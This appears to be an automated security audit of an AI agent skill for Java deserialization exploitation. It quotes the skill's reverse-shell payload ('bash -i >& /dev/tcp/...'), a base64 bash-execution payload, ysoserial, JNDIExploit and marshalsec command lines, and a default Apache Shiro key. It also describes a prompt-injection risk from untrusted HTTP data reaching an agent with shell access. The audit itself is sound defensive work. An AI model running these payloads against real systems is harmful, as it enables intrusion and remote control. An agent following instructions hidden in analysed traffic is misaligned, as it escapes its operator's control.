java-deserialization-methodology
Warn
Audited by Gen Agent Trust Hub on Oct 31, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCREDENTIALS_UNSAFEINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides specific payload templates for establishing reverse shells and executing arbitrary commands on remote Java applications.
- Evidence: Payloads such as
bash -i >& /dev/tcp/10.10.14.10/7878 0>&1andbash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}are detailed inreferences/jndi-fastjson.mdandreferences/ysoserial-gadgets.md. - [COMMAND_EXECUTION]: The instructions direct the agent to run various Java-based exploitation tools via the command line, which could be used to execute malicious code if the environment is not secured.
- Evidence: Commands such as
java -jar JNDIExploit.jar,java -jar ysoserial.jar, andjava -cp marshalsec-0.0.3-SNAPSHOT-all.jarare explicitly provided inreferences/jndi-fastjson.md. - [EXTERNAL_DOWNLOADS]: The methodology relies on the acquisition and use of several external security tools (JAR files) from unverified or non-standard sources.
- Evidence: References to
JNDIExploit.jar,ysoserial.jar,marshalsec-0.0.3-SNAPSHOT-all.jar, andJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jarappear across the skill's reference files. - [CREDENTIALS_UNSAFE]: The skill contains a hardcoded default cryptographic key for Apache Shiro, which is a common target in deserialization attacks.
- Evidence: The key
kPH+bIxk5D2deZiIxcaaaA==is listed as a default secret inSKILL.mdandreferences/jndi-fastjson.md. - [INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from external network responses (e.g., HTTP headers, cookies, and POST bodies) to identify vulnerabilities, creating a surface where an attacker could influence the agent's behavior.
- Ingestion points: The skill analyzes
Cookie(e.g.,rememberMe),POST Body, and customHeadercontent as specified inSKILL.md. - Boundary markers: None are specified to protect the agent from instructions embedded within the analyzed data.
- Capability inventory: The skill has the capability to execute shell commands and perform network operations using the
http_requesttool. - Sanitization: There are no explicit instructions for sanitizing or escaping the data read from external targets before processing it.
Audit Metadata